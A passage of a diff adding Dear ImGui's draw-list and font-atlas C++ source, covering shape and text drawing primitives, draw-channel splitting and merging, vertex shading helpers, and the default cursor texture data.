ImDrawCornerFlags_Right) ? 0.5f : 1.0f ) - 1.0f); + + if (rounding <= 0.0f || rounding_corners == 0) + { + PathLineTo(a); + PathLineTo(ImVec2(b.x, a.y)); + PathLineTo(b); + PathLineTo(ImVec2(a.x, b.y)); + } + else + { + const float rounding_tl = (rounding_corners & ImDrawCornerFlags_TopLeft) ? rounding : 0.0f; + const float rounding_tr = (rounding_corners & ImDrawCornerFlags_TopRight) ? rounding : 0.0f; + const float rounding_br = (rounding_corners & ImDrawCornerFlags_BotRight) ? rounding : 0.0f; + const float rounding_bl = (rounding_corners & ImDrawCornerFlags_BotLeft) ? rounding : 0.0f; + PathArcToFast(ImVec2(a.x + rounding_tl, a.y + rounding_tl), rounding_tl, 6, 9); + PathArcToFast(ImVec2(b.x - rounding_tr, a.y + rounding_tr), rounding_tr, 9, 12); + PathArcToFast(ImVec2(b.x - rounding_br, b.y - rounding_br), rounding_br, 0, 3); + PathArcToFast(ImVec2(a.x + rounding_bl, b.y - rounding_bl), rounding_bl, 3, 6); + } +} + +void ImDrawList::AddLine(const ImVec2& p1, const ImVec2& p2, ImU32 col, float thickness) +{ + if ((col & IM_COL32_A_MASK) == 0) + return; + PathLineTo(p1 + ImVec2(0.5f, 0.5f)); + PathLineTo(p2 + ImVec2(0.5f, 0.5f)); + PathStroke(col, false, thickness); +} + +// p_min = upper-left, p_max = lower-right +// Note we don't render 1 pixels sized rectangles properly. +void ImDrawList::AddRect(const ImVec2& p_min, const ImVec2& p_max, ImU32 col, float rounding, ImDrawCornerFlags rounding_corners, float thickness) +{ + if ((col & IM_COL32_A_MASK) == 0) + return; + if (Flags & ImDrawListFlags_AntiAliasedLines) + PathRect(p_min + ImVec2(0.50f, 0.50f), p_max - ImVec2(0.50f, 0.50f), rounding, rounding_corners); + else + PathRect(p_min + ImVec2(0.50f, 0.50f), p_max - ImVec2(0.49f, 0.49f), rounding, rounding_corners); // Better looking lower-right corner and rounded non-AA shapes. + PathStroke(col, true, thickness); +} + +void ImDrawList::AddRectFilled(const ImVec2& p_min, const ImVec2& p_max, ImU32 col, float rounding, ImDrawCornerFlags rounding_corners) +{ + if ((col & IM_COL32_A_MASK) == 0) + return; + if (rounding > 0.0f) + { + PathRect(p_min, p_max, rounding, rounding_corners); + PathFillConvex(col); + } + else + { + PrimReserve(6, 4); + PrimRect(p_min, p_max, col); + } +} + +// p_min = upper-left, p_max = lower-right +void ImDrawList::AddRectFilledMultiColor(const ImVec2& p_min, const ImVec2& p_max, ImU32 col_upr_left, ImU32 col_upr_right, ImU32 col_bot_right, ImU32 col_bot_left) +{ + if (((col_upr_left | col_upr_right | col_bot_right | col_bot_left) & IM_COL32_A_MASK) == 0) + return; + + const ImVec2 uv = _Data->TexUvWhitePixel; + PrimReserve(6, 4); + PrimWriteIdx((ImDrawIdx)(_VtxCurrentIdx)); PrimWriteIdx((ImDrawIdx)(_VtxCurrentIdx + 1)); PrimWriteIdx((ImDrawIdx)(_VtxCurrentIdx + 2)); + PrimWriteIdx((ImDrawIdx)(_VtxCurrentIdx)); PrimWriteIdx((ImDrawIdx)(_VtxCurrentIdx + 2)); PrimWriteIdx((ImDrawIdx)(_VtxCurrentIdx + 3)); + PrimWriteVtx(p_min, uv, col_upr_left); + PrimWriteVtx(ImVec2(p_max.x, p_min.y), uv, col_upr_right); + PrimWriteVtx(p_max, uv, col_bot_right); + PrimWriteVtx(ImVec2(p_min.x, p_max.y), uv, col_bot_left); +} + +void ImDrawList::AddQuad(const ImVec2& p1, const ImVec2& p2, const ImVec2& p3, const ImVec2& p4, ImU32 col, float thickness) +{ + if ((col & IM_COL32_A_MASK) == 0) + return; + + PathLineTo(p1); + PathLineTo(p2); + PathLineTo(p3); + PathLineTo(p4); + PathStroke(col, true, thickness); +} + +void ImDrawList::AddQuadFilled(const ImVec2& p1, const ImVec2& p2, const ImVec2& p3, const ImVec2& p4, ImU32 col) +{ + if ((col & IM_COL32_A_MASK) == 0) + return; + + PathLineTo(p1); + PathLineTo(p2); + PathLineTo(p3); + PathLineTo(p4); + PathFillConvex(col); +} + +void ImDrawList::AddTriangle(const ImVec2& p1, const ImVec2& p2, const ImVec2& p3, ImU32 col, float thickness) +{ + if ((col & IM_COL32_A_MASK) == 0) + return; + + PathLineTo(p1); + PathLineTo(p2); + PathLineTo(p3); + PathStroke(col, true, thickness); +} + +void ImDrawList::AddTriangleFilled(const ImVec2& p1, const ImVec2& p2, const ImVec2& p3, ImU32 col) +{ + if ((col & IM_COL32_A_MASK) == 0) + return; + + PathLineTo(p1); + PathLineTo(p2); + PathLineTo(p3); + PathFillConvex(col); +} + +void ImDrawList::AddCircle(const ImVec2& center, float radius, ImU32 col, int num_segments, float thickness) +{ + if ((col & IM_COL32_A_MASK) == 0 || radius <= 0.0f) + return; + + // Obtain segment count + if (num_segments <= 0) + { + // Automatic segment count + const int radius_idx = (int)radius - 1; + if (radius_idx < IM_ARRAYSIZE(_Data->CircleSegmentCounts)) + num_segments = _Data->CircleSegmentCounts[radius_idx]; // Use cached value + else + num_segments = IM_DRAWLIST_CIRCLE_AUTO_SEGMENT_CALC(radius, _Data->CircleSegmentMaxError); + } + else + { + // Explicit segment count (still clamp to avoid drawing insanely tessellated shapes) + num_segments = ImClamp(num_segments, 3, IM_DRAWLIST_CIRCLE_AUTO_SEGMENT_MAX); + } + + // Because we are filling a closed shape we remove 1 from the count of segments/points + const float a_max = (IM_PI * 2.0f) * ((float)num_segments - 1.0f) / (float)num_segments; + if (num_segments == 12) + PathArcToFast(center, radius - 0.5f, 0, 12 - 1); + else + PathArcTo(center, radius - 0.5f, 0.0f, a_max, num_segments - 1); + PathStroke(col, true, thickness); +} + +void ImDrawList::AddCircleFilled(const ImVec2& center, float radius, ImU32 col, int num_segments) +{ + if ((col & IM_COL32_A_MASK) == 0 || radius <= 0.0f) + return; + + // Obtain segment count + if (num_segments <= 0) + { + // Automatic segment count + const int radius_idx = (int)radius - 1; + if (radius_idx < IM_ARRAYSIZE(_Data->CircleSegmentCounts)) + num_segments = _Data->CircleSegmentCounts[radius_idx]; // Use cached value + else + num_segments = IM_DRAWLIST_CIRCLE_AUTO_SEGMENT_CALC(radius, _Data->CircleSegmentMaxError); + } + else + { + // Explicit segment count (still clamp to avoid drawing insanely tessellated shapes) + num_segments = ImClamp(num_segments, 3, IM_DRAWLIST_CIRCLE_AUTO_SEGMENT_MAX); + } + + // Because we are filling a closed shape we remove 1 from the count of segments/points + const float a_max = (IM_PI * 2.0f) * ((float)num_segments - 1.0f) / (float)num_segments; + if (num_segments == 12) + PathArcToFast(center, radius, 0, 12 - 1); + else + PathArcTo(center, radius, 0.0f, a_max, num_segments - 1); + PathFillConvex(col); +} + +// Guaranteed to honor 'num_segments' +void ImDrawList::AddNgon(const ImVec2& center, float radius, ImU32 col, int num_segments, float thickness) +{ + if ((col & IM_COL32_A_MASK) == 0 || num_segments <= 2) + return; + + // Because we are filling a closed shape we remove 1 from the count of segments/points + const float a_max = (IM_PI * 2.0f) * ((float)num_segments - 1.0f) / (float)num_segments; + PathArcTo(center, radius - 0.5f, 0.0f, a_max, num_segments - 1); + PathStroke(col, true, thickness); +} + +// Guaranteed to honor 'num_segments' +void ImDrawList::AddNgonFilled(const ImVec2& center, float radius, ImU32 col, int num_segments) +{ + if ((col & IM_COL32_A_MASK) == 0 || num_segments <= 2) + return; + + // Because we are filling a closed shape we remove 1 from the count of segments/points + const float a_max = (IM_PI * 2.0f) * ((float)num_segments - 1.0f) / (float)num_segments; + PathArcTo(center, radius, 0.0f, a_max, num_segments - 1); + PathFillConvex(col); +} + +// Cubic Bezier takes 4 controls points +void ImDrawList::AddBezierCubic(const ImVec2& p1, const ImVec2& p2, const ImVec2& p3, const ImVec2& p4, ImU32 col, float thickness, int num_segments) +{ + if ((col & IM_COL32_A_MASK) == 0) + return; + + PathLineTo(p1); + PathBezierCubicCurveTo(p2, p3, p4, num_segments); + PathStroke(col, false, thickness); +} + +// Quadratic Bezier takes 3 controls points +void ImDrawList::AddBezierQuadratic(const ImVec2& p1, const ImVec2& p2, const ImVec2& p3, ImU32 col, float thickness, int num_segments) +{ + if ((col & IM_COL32_A_MASK) == 0) + return; + + PathLineTo(p1); + PathBezierQuadraticCurveTo(p2, p3, num_segments); + PathStroke(col, false, thickness); +} + +void ImDrawList::AddText(const ImFont* font, float font_size, const ImVec2& pos, ImU32 col, const char* text_begin, const char* text_end, float wrap_width, const ImVec4* cpu_fine_clip_rect) +{ + if ((col & IM_COL32_A_MASK) == 0) + return; + + if (text_end == NULL) + text_end = text_begin + strlen(text_begin); + if (text_begin == text_end) + return; + + // Pull default font/size from the shared ImDrawListSharedData instance + if (font == NULL) + font = _Data->Font; + if (font_size == 0.0f) + font_size = _Data->FontSize; + + IM_ASSERT(font->ContainerAtlas->TexID == _CmdHeader.TextureId); // Use high-level ImGui::PushFont() or low-level ImDrawList::PushTextureId() to change font. + + ImVec4 clip_rect = _CmdHeader.ClipRect; + if (cpu_fine_clip_rect) + { + clip_rect.x = ImMax(clip_rect.x, cpu_fine_clip_rect->x); + clip_rect.y = ImMax(clip_rect.y, cpu_fine_clip_rect->y); + clip_rect.z = ImMin(clip_rect.z, cpu_fine_clip_rect->z); + clip_rect.w = ImMin(clip_rect.w, cpu_fine_clip_rect->w); + } + font->RenderText(this, font_size, pos, col, clip_rect, text_begin, text_end, wrap_width, cpu_fine_clip_rect != NULL); +} + +void ImDrawList::AddText(const ImVec2& pos, ImU32 col, const char* text_begin, const char* text_end) +{ + AddText(NULL, 0.0f, pos, col, text_begin, text_end); +} + +void ImDrawList::AddImage(ImTextureID user_texture_id, const ImVec2& p_min, const ImVec2& p_max, const ImVec2& uv_min, const ImVec2& uv_max, ImU32 col) +{ + if ((col & IM_COL32_A_MASK) == 0) + return; + + const bool push_texture_id = user_texture_id != _CmdHeader.TextureId; + if (push_texture_id) + PushTextureID(user_texture_id); + + PrimReserve(6, 4); + PrimRectUV(p_min, p_max, uv_min, uv_max, col); + + if (push_texture_id) + PopTextureID(); +} + +void ImDrawList::AddImageQuad(ImTextureID user_texture_id, const ImVec2& p1, const ImVec2& p2, const ImVec2& p3, const ImVec2& p4, const ImVec2& uv1, const ImVec2& uv2, const ImVec2& uv3, const ImVec2& uv4, ImU32 col) +{ + if ((col & IM_COL32_A_MASK) == 0) + return; + + const bool push_texture_id = user_texture_id != _CmdHeader.TextureId; + if (push_texture_id) + PushTextureID(user_texture_id); + + PrimReserve(6, 4); + PrimQuadUV(p1, p2, p3, p4, uv1, uv2, uv3, uv4, col); + + if (push_texture_id) + PopTextureID(); +} + +void ImDrawList::AddImageRounded(ImTextureID user_texture_id, const ImVec2& p_min, const ImVec2& p_max, const ImVec2& uv_min, const ImVec2& uv_max, ImU32 col, float rounding, ImDrawCornerFlags rounding_corners) +{ + if ((col & IM_COL32_A_MASK) == 0) + return; + + if (rounding <= 0.0f || (rounding_corners & ImDrawCornerFlags_All) == 0) + { + AddImage(user_texture_id, p_min, p_max, uv_min, uv_max, col); + return; + } + + const bool push_texture_id = _TextureIdStack.empty() || user_texture_id != _TextureIdStack.back(); + if (push_texture_id) + PushTextureID(user_texture_id); + + int vert_start_idx = VtxBuffer.Size; + PathRect(p_min, p_max, rounding, rounding_corners); + PathFillConvex(col); + int vert_end_idx = VtxBuffer.Size; + ImGui::ShadeVertsLinearUV(this, vert_start_idx, vert_end_idx, p_min, p_max, uv_min, uv_max, true); + + if (push_texture_id) + PopTextureID(); +} + + +//----------------------------------------------------------------------------- +// [SECTION] ImDrawListSplitter +//----------------------------------------------------------------------------- +// FIXME: This may be a little confusing, trying to be a little too low-level/optimal instead of just doing vector swap.. +//----------------------------------------------------------------------------- + +void ImDrawListSplitter::ClearFreeMemory() +{ + for (int i = 0; i < _Channels.Size; i++) + { + if (i == _Current) + memset(&_Channels[i], 0, sizeof(_Channels[i])); // Current channel is a copy of CmdBuffer/IdxBuffer, don't destruct again + _Channels[i]._CmdBuffer.clear(); + _Channels[i]._IdxBuffer.clear(); + } + _Current = 0; + _Count = 1; + _Channels.clear(); +} + +void ImDrawListSplitter::Split(ImDrawList* draw_list, int channels_count) +{ + IM_UNUSED(draw_list); + IM_ASSERT(_Current == 0 && _Count <= 1 && "Nested channel splitting is not supported. Please use separate instances of ImDrawListSplitter."); + int old_channels_count = _Channels.Size; + if (old_channels_count < channels_count) + { + _Channels.reserve(channels_count); // Avoid over reserving since this is likely to stay stable + _Channels.resize(channels_count); + } + _Count = channels_count; + + // Channels[] (24/32 bytes each) hold storage that we'll swap with draw_list->_CmdBuffer/_IdxBuffer + // The content of Channels[0] at this point doesn't matter. We clear it to make state tidy in a debugger but we don't strictly need to. + // When we switch to the next channel, we'll copy draw_list->_CmdBuffer/_IdxBuffer into Channels[0] and then Channels[1] into draw_list->CmdBuffer/_IdxBuffer + memset(&_Channels[0], 0, sizeof(ImDrawChannel)); + for (int i = 1; i < channels_count; i++) + { + if (i >= old_channels_count) + { + IM_PLACEMENT_NEW(&_Channels[i]) ImDrawChannel(); + } + else + { + _Channels[i]._CmdBuffer.resize(0); + _Channels[i]._IdxBuffer.resize(0); + } + } +} + +void ImDrawListSplitter::Merge(ImDrawList* draw_list) +{ + // Note that we never use or rely on _Channels.Size because it is merely a buffer that we never shrink back to 0 to keep all sub-buffers ready for use. + if (_Count <= 1) + return; + + SetCurrentChannel(draw_list, 0); + draw_list->_PopUnusedDrawCmd(); + + // Calculate our final buffer sizes. Also fix the incorrect IdxOffset values in each command. + int new_cmd_buffer_count = 0; + int new_idx_buffer_count = 0; + ImDrawCmd* last_cmd = (_Count > 0 && draw_list->CmdBuffer.Size > 0) ? &draw_list->CmdBuffer.back() : NULL; + int idx_offset = last_cmd ? last_cmd->IdxOffset + last_cmd->ElemCount : 0; + for (int i = 1; i < _Count; i++) + { + ImDrawChannel& ch = _Channels[i]; + + // Equivalent of PopUnusedDrawCmd() for this channel's cmdbuffer and except we don't need to test for UserCallback. + if (ch._CmdBuffer.Size > 0 && ch._CmdBuffer.back().ElemCount == 0) + ch._CmdBuffer.pop_back(); + + if (ch._CmdBuffer.Size > 0 && last_cmd != NULL) + { + ImDrawCmd* next_cmd = &ch._CmdBuffer[0]; + if (ImDrawCmd_HeaderCompare(last_cmd, next_cmd) == 0 && last_cmd->UserCallback == NULL && next_cmd->UserCallback == NULL) + { + // Merge previous channel last draw command with current channel first draw command if matching. + last_cmd->ElemCount += next_cmd->ElemCount; + idx_offset += next_cmd->ElemCount; + ch._CmdBuffer.erase(ch._CmdBuffer.Data); // FIXME-OPT: Improve for multiple merges. + } + } + if (ch._CmdBuffer.Size > 0) + last_cmd = &ch._CmdBuffer.back(); + new_cmd_buffer_count += ch._CmdBuffer.Size; + new_idx_buffer_count += ch._IdxBuffer.Size; + for (int cmd_n = 0; cmd_n < ch._CmdBuffer.Size; cmd_n++) + { + ch._CmdBuffer.Data[cmd_n].IdxOffset = idx_offset; + idx_offset += ch._CmdBuffer.Data[cmd_n].ElemCount; + } + } + draw_list->CmdBuffer.resize(draw_list->CmdBuffer.Size + new_cmd_buffer_count); + draw_list->IdxBuffer.resize(draw_list->IdxBuffer.Size + new_idx_buffer_count); + + // Write commands and indices in order (they are fairly small structures, we don't copy vertices only indices) + ImDrawCmd* cmd_write = draw_list->CmdBuffer.Data + draw_list->CmdBuffer.Size - new_cmd_buffer_count; + ImDrawIdx* idx_write = draw_list->IdxBuffer.Data + draw_list->IdxBuffer.Size - new_idx_buffer_count; + for (int i = 1; i < _Count; i++) + { + ImDrawChannel& ch = _Channels[i]; + if (int sz = ch._CmdBuffer.Size) { memcpy(cmd_write, ch._CmdBuffer.Data, sz * sizeof(ImDrawCmd)); cmd_write += sz; } + if (int sz = ch._IdxBuffer.Size) { memcpy(idx_write, ch._IdxBuffer.Data, sz * sizeof(ImDrawIdx)); idx_write += sz; } + } + draw_list->_IdxWritePtr = idx_write; + + // Ensure there's always a non-callback draw command trailing the command-buffer + if (draw_list->CmdBuffer.Size == 0 || draw_list->CmdBuffer.back().UserCallback != NULL) + draw_list->AddDrawCmd(); + + // If current command is used with different settings we need to add a new command + ImDrawCmd* curr_cmd = &draw_list->CmdBuffer.Data[draw_list->CmdBuffer.Size - 1]; + if (curr_cmd->ElemCount == 0) + ImDrawCmd_HeaderCopy(curr_cmd, &draw_list->_CmdHeader); // Copy ClipRect, TextureId, VtxOffset + else if (ImDrawCmd_HeaderCompare(curr_cmd, &draw_list->_CmdHeader) != 0) + draw_list->AddDrawCmd(); + + _Count = 1; +} + +void ImDrawListSplitter::SetCurrentChannel(ImDrawList* draw_list, int idx) +{ + IM_ASSERT(idx >= 0 && idx < _Count); + if (_Current == idx) + return; + + // Overwrite ImVector (12/16 bytes), four times. This is merely a silly optimization instead of doing .swap() + memcpy(&_Channels.Data[_Current]._CmdBuffer, &draw_list->CmdBuffer, sizeof(draw_list->CmdBuffer)); + memcpy(&_Channels.Data[_Current]._IdxBuffer, &draw_list->IdxBuffer, sizeof(draw_list->IdxBuffer)); + _Current = idx; + memcpy(&draw_list->CmdBuffer, &_Channels.Data[idx]._CmdBuffer, sizeof(draw_list->CmdBuffer)); + memcpy(&draw_list->IdxBuffer, &_Channels.Data[idx]._IdxBuffer, sizeof(draw_list->IdxBuffer)); + draw_list->_IdxWritePtr = draw_list->IdxBuffer.Data + draw_list->IdxBuffer.Size; + + // If current command is used with different settings we need to add a new command + ImDrawCmd* curr_cmd = (draw_list->CmdBuffer.Size == 0) ? NULL : &draw_list->CmdBuffer.Data[draw_list->CmdBuffer.Size - 1]; + if (curr_cmd == NULL) + draw_list->AddDrawCmd(); + else if (curr_cmd->ElemCount == 0) + ImDrawCmd_HeaderCopy(curr_cmd, &draw_list->_CmdHeader); // Copy ClipRect, TextureId, VtxOffset + else if (ImDrawCmd_HeaderCompare(curr_cmd, &draw_list->_CmdHeader) != 0) + draw_list->AddDrawCmd(); +} + +//----------------------------------------------------------------------------- +// [SECTION] ImDrawData +//----------------------------------------------------------------------------- + +// For backward compatibility: convert all buffers from indexed to de-indexed, in case you cannot render indexed. Note: this is slow and most likely a waste of resources. Always prefer indexed rendering! +void ImDrawData::DeIndexAllBuffers() +{ + ImVector new_vtx_buffer; + TotalVtxCount = TotalIdxCount = 0; + for (int i = 0; i < CmdListsCount; i++) + { + ImDrawList* cmd_list = CmdLists[i]; + if (cmd_list->IdxBuffer.empty()) + continue; + new_vtx_buffer.resize(cmd_list->IdxBuffer.Size); + for (int j = 0; j < cmd_list->IdxBuffer.Size; j++) + new_vtx_buffer[j] = cmd_list->VtxBuffer[cmd_list->IdxBuffer[j]]; + cmd_list->VtxBuffer.swap(new_vtx_buffer); + cmd_list->IdxBuffer.resize(0); + TotalVtxCount += cmd_list->VtxBuffer.Size; + } +} + +// Helper to scale the ClipRect field of each ImDrawCmd. +// Use if your final output buffer is at a different scale than draw_data->DisplaySize, +// or if there is a difference between your window resolution and framebuffer resolution. +void ImDrawData::ScaleClipRects(const ImVec2& fb_scale) +{ + for (int i = 0; i < CmdListsCount; i++) + { + ImDrawList* cmd_list = CmdLists[i]; + for (int cmd_i = 0; cmd_i < cmd_list->CmdBuffer.Size; cmd_i++) + { + ImDrawCmd* cmd = &cmd_list->CmdBuffer[cmd_i]; + cmd->ClipRect = ImVec4(cmd->ClipRect.x * fb_scale.x, cmd->ClipRect.y * fb_scale.y, cmd->ClipRect.z * fb_scale.x, cmd->ClipRect.w * fb_scale.y); + } + } +} + +//----------------------------------------------------------------------------- +// [SECTION] Helpers ShadeVertsXXX functions +//----------------------------------------------------------------------------- + +// Generic linear color gradient, write to RGB fields, leave A untouched. +void ImGui::ShadeVertsLinearColorGradientKeepAlpha(ImDrawList* draw_list, int vert_start_idx, int vert_end_idx, ImVec2 gradient_p0, ImVec2 gradient_p1, ImU32 col0, ImU32 col1) +{ + ImVec2 gradient_extent = gradient_p1 - gradient_p0; + float gradient_inv_length2 = 1.0f / ImLengthSqr(gradient_extent); + ImDrawVert* vert_start = draw_list->VtxBuffer.Data + vert_start_idx; + ImDrawVert* vert_end = draw_list->VtxBuffer.Data + vert_end_idx; + const int col0_r = (int)(col0 >> IM_COL32_R_SHIFT) & 0xFF; + const int col0_g = (int)(col0 >> IM_COL32_G_SHIFT) & 0xFF; + const int col0_b = (int)(col0 >> IM_COL32_B_SHIFT) & 0xFF; + const int col_delta_r = ((int)(col1 >> IM_COL32_R_SHIFT) & 0xFF) - col0_r; + const int col_delta_g = ((int)(col1 >> IM_COL32_G_SHIFT) & 0xFF) - col0_g; + const int col_delta_b = ((int)(col1 >> IM_COL32_B_SHIFT) & 0xFF) - col0_b; + for (ImDrawVert* vert = vert_start; vert < vert_end; vert++) + { + float d = ImDot(vert->pos - gradient_p0, gradient_extent); + float t = ImClamp(d * gradient_inv_length2, 0.0f, 1.0f); + int r = (int)(col0_r + col_delta_r * t); + int g = (int)(col0_g + col_delta_g * t); + int b = (int)(col0_b + col_delta_b * t); + vert->col = (r << IM_COL32_R_SHIFT) | (g << IM_COL32_G_SHIFT) | (b << IM_COL32_B_SHIFT) | (vert->col & IM_COL32_A_MASK); + } +} + +// Distribute UV over (a, b) rectangle +void ImGui::ShadeVertsLinearUV(ImDrawList* draw_list, int vert_start_idx, int vert_end_idx, const ImVec2& a, const ImVec2& b, const ImVec2& uv_a, const ImVec2& uv_b, bool clamp) +{ + const ImVec2 size = b - a; + const ImVec2 uv_size = uv_b - uv_a; + const ImVec2 scale = ImVec2( + size.x != 0.0f ? (uv_size.x / size.x) : 0.0f, + size.y != 0.0f ? (uv_size.y / size.y) : 0.0f); + + ImDrawVert* vert_start = draw_list->VtxBuffer.Data + vert_start_idx; + ImDrawVert* vert_end = draw_list->VtxBuffer.Data + vert_end_idx; + if (clamp) + { + const ImVec2 min = ImMin(uv_a, uv_b); + const ImVec2 max = ImMax(uv_a, uv_b); + for (ImDrawVert* vertex = vert_start; vertex < vert_end; ++vertex) + vertex->uv = ImClamp(uv_a + ImMul(ImVec2(vertex->pos.x, vertex->pos.y) - a, scale), min, max); + } + else + { + for (ImDrawVert* vertex = vert_start; vertex < vert_end; ++vertex) + vertex->uv = uv_a + ImMul(ImVec2(vertex->pos.x, vertex->pos.y) - a, scale); + } +} + +//----------------------------------------------------------------------------- +// [SECTION] ImFontConfig +//----------------------------------------------------------------------------- + +ImFontConfig::ImFontConfig() +{ + FontData = NULL; + FontDataSize = 0; + FontDataOwnedByAtlas = true; + FontNo = 0; + SizePixels = 0.0f; + OversampleH = 3; // FIXME: 2 may be a better default? + OversampleV = 1; + PixelSnapH = false; + GlyphExtraSpacing = ImVec2(0.0f, 0.0f); + GlyphOffset = ImVec2(0.0f, 0.0f); + GlyphRanges = NULL; + GlyphMinAdvanceX = 0.0f; + GlyphMaxAdvanceX = FLT_MAX; + MergeMode = false; + RasterizerFlags = 0x00; + RasterizerMultiply = 1.0f; + EllipsisChar = (ImWchar)-1; + memset(Name, 0, sizeof(Name)); + DstFont = NULL; +} + +//----------------------------------------------------------------------------- +// [SECTION] ImFontAtlas +//----------------------------------------------------------------------------- + +// A work of art lies ahead! (. = white layer, X = black layer, others are blank) +// The 2x2 white texels on the top left are the ones we'll use everywhere in Dear ImGui to render filled shapes. +const int FONT_ATLAS_DEFAULT_TEX_DATA_W = 108; // Actual texture will be 2 times that + 1 spacing. +const int FONT_ATLAS_DEFAULT_TEX_DATA_H = 27; +static const char FONT_ATLAS_DEFAULT_TEX_DATA_PIXELS[FONT_ATLAS_DEFAULT_TEX_DATA_W * FONT_ATLAS_DEFAULT_TEX_DATA_H + 1] = +{ + "..- -XXXXXXX- X - X -XXXXXXX - XXXXXXX- XX " + "..- -X.....X- X.X - X.X -X.....X - X.....X- X..X " + "--- -XXX.XXX- X...X - X...X -X....X - X....X- X..X " + "X - X.X - X.....X - X.....X -X...X - X...X- X..X " + "XX - X.X -X.......X- X.......X -X..X.X - X.X..X- X..X " + "X.X - X.X -XXXX.XXXX- XXXX.XXXX -X.X X.X - X.X X.X- X..XXX " + "X..X - X.X - X.X - X.X -XX X.X - X.X XX- X..X..XXX " + "X...X - X.X - X.X - XX X.X XX - X.X - X.X - X..X..X..XX " + "X....X - X.X - X.X - X.X X.X X.X - X.X - X.X - X..X..X..X.X " + "X.....X - X.X - X.X - X..X X.X X..X - X.X - X.X -XXX X..X..X..X..X" + "X......X - X.X - X.X - X...XXXXXX.XXXXXX...X - X.X XX-XX X.X -X..XX........X..X" + "X.......X - X.X - X.X -X.....................X- X.X X.X-X.X X.X -X...X...........X" + "X........X - X.X - X.X - X...XXXXXX.XXXXXX...X - X.X..X-X..X.X - X..............X" + "X.........X -XXX.XXX- X.X - X..X X.X X..X - X...X-X...X - X.............X" + "X..........X-X.....X- X.X - X.X X.X X.X - X....X-X....X - X.............X" + "X......XXXXX-XXXXXXX- X.X - XX X.X XX - X.....X-X.....X - X............X" + "X...X..X --------- X.X - X.X - XXXXXXX-XXXXXXX - X...........X " + "X..X X..X - -XXXX.XXXX- XXXX.XXXX ------------------------------------- X..........X " + "X.X X..X - -X.......X- X.......X - XX XX - - X..........X " + "XX X..X - - X.....X - X.....X - X.X X.X - - X........X " + " X..X - X...X - X...X - X..X X..X - - X........X " + " XX - X.X - X.X - X...XXXXXXXXXXXXX...X - - XXXXXXXXXX " + "------------ - X - X -X.....................X- ------------------" + " ----------------------------------- X...XXXXXXXXXXXXX...X - " + " - X..X X..X - " + " - X.X X.X - " + " - XX XX - " +}; + +static const ImVec2 FONT_ATLAS_DEFAULT_TEX_CURSOR_DATA[ImGuiMouseCursor_COUNT][3] = +{ + // Pos ........ Size ......... Offset ...... + { ImVec2( 0,3), ImVec2(12,19), ImVec2( 0, 0) }, // ImGuiMouseCursor_Arrow + { ImVec2(13,0), ImVec2( 7,16), ImVec2( 1, 8) }, // ImGuiMouseCursor_TextInput + { ImVec2(31,0), ImVec2(23,23), ImVec2(11,11) }, // ImGuiMouseCursor_ResizeAll + { ImVec2(21,0), ImVec2( 9,23), ImVec2( 4,11) }, // ImGuiMouseCursor_ResizeNS + { ImVec2(55,18),ImVec2(23, 9), ImVec2(11, 4) }, // ImGuiMouseCursor_ResizeEW + { ImVec2(73,0), ImVec2(17,17), ImVec2( 8, 8) }, // ImGuiMouseCursor_ResizeNESW + { ImVec2(55,0), ImVec2(17,17), ImVec2( 8, 8) }, // ImGuiMouseCursor_ResizeNWSE + { ImVec2(91,0), ImVec2(17,22), ImVec2( 5, 0) }, // ImGuiMouseCursor_Hand +}; + +ImFontAtlas::ImFontAtlas() +{ + Locked = false; + Flags = ImFontAtlasFlags_None; + TexID = (ImTextureID)NULL; + TexDesiredWidth = 0; + TexGlyphPadding = 1; + + TexPixelsAlpha8 = NULL; + TexPixelsRGBA32 = NULL; + TexWidth = TexHeight = 0; + TexUvScale = ImVec2(0.0f, 0.0f); + TexUvWhitePixel = ImVec2(0.0f, 0.0f); + PackIdMouseCursors = PackIdLines = -1; +} + +ImFontAtlas::~ImFontAtlas() +{ + IM_ASSERT(!Locked && "Cannot modify a locked ImFontAtlas between NewFrame() and EndFrame/Render()!"); + Clear(); +} + +void ImFontAtlas::ClearInputData() +{ + IM_ASSERT(!Locked && "Cannot modify a locked ImFontAtlas between NewFrame() and EndFrame/Render()!"); + for (int i = 0; i < ConfigData.Size; i++) + if (ConfigData[i].FontData && ConfigData[i].FontDataOwnedByAtlas) + { + IM_FREE(ConfigData[i].FontData); + ConfigData[i].FontData = NULL; + } + + // When clearing this we lose access to the font name and other information used to build the font. + for (int i = 0; i < Fonts.Size; i++) + if (Fonts[i]->ConfigData >= ConfigData.Data && Fonts[i]->ConfigData < ConfigData.Data + ConfigData.Size) + { + Fonts[i]->ConfigData = NULL; + Fonts[i]->ConfigDataCount = 0; + } + ConfigData.clear(); + CustomRects.clear(); + PackIdMouseCursors = PackIdLines = -1; +} + +void ImFontAtlas::ClearTexData() +{ + IM_ASSERT(!Locked && "Cannot modify a locked ImFontAtlas between NewFrame() and EndFrame/Render()!"); + if (TexPixelsAlpha8) + IM_FREE(TexPixelsAlpha8); + if (TexPixelsRGBA32) + IM_FREE(TexPixelsRGBA32); + TexPixelsAlpha8 = NULL; + TexPixelsRGBA32 = NULL; +} + +void ImFontAtlas::ClearFonts() +{ + IM_ASSERT(!Locked && "Cannot modify a locked ImFontAtlas between NewFrame() and EndFrame/Render()!"); + for (int i = 0; i < Fonts.Size; i++) + IM_DELETE(Fonts[i]); + Fonts.clear(); +} + +void ImFontAtlas::Clear() +{ + ClearInputData(); + ClearTexData(); + ClearFonts(); +} + +void ImFontAtlas::GetTexDataAsAlpha8(unsigned char** out_pixels, int* out_width, int* out_height, int* out_bytes_per_pixel) +{ + // Build atlas on demand + if (TexPixelsAlpha8 == NULL) + { + if (ConfigData.empty()) + AddFontDefault(); + Build(); + } + + *out_pixels = TexPixelsAlpha8; + if (out_width) *out_width = TexWidth; + if (out_height) *out_height = TexHeight; + if (out_bytes_per_pixel) *out_bytes_per_pixel = 1; +} + +void ImFontAtlas::GetTexDataAsRGBA32(unsigned char** out_pixels, int* out_width, int* out_height, int* out_bytes_per_pixel) +{ + // Convert to RGBA32 format on demand + // Although it is likely to be the most commonly used format, our font rendering is 1 channel / 8 bpp + if (!TexPixelsRGBA32) + { + unsigned char* pixels = NULL; + GetTexDataAsAlpha8(&pixels, NULL, NULL); + if (pixels) + { + TexPixelsRGBA32 = (unsigned int*)IM_ALLOC((size_t)TexWidth * (size_t)TexHeight * 4); + const unsigned char* src = pixels; + unsigned int* dst = TexPixelsRGBA32; + for (int n = TexWidth * TexHeight; n > 0; n--) + *dst++ = IM_COL32(255, 255, 255, (unsigned int)(*src++)); + } + } + + *out_pixels = (unsigned 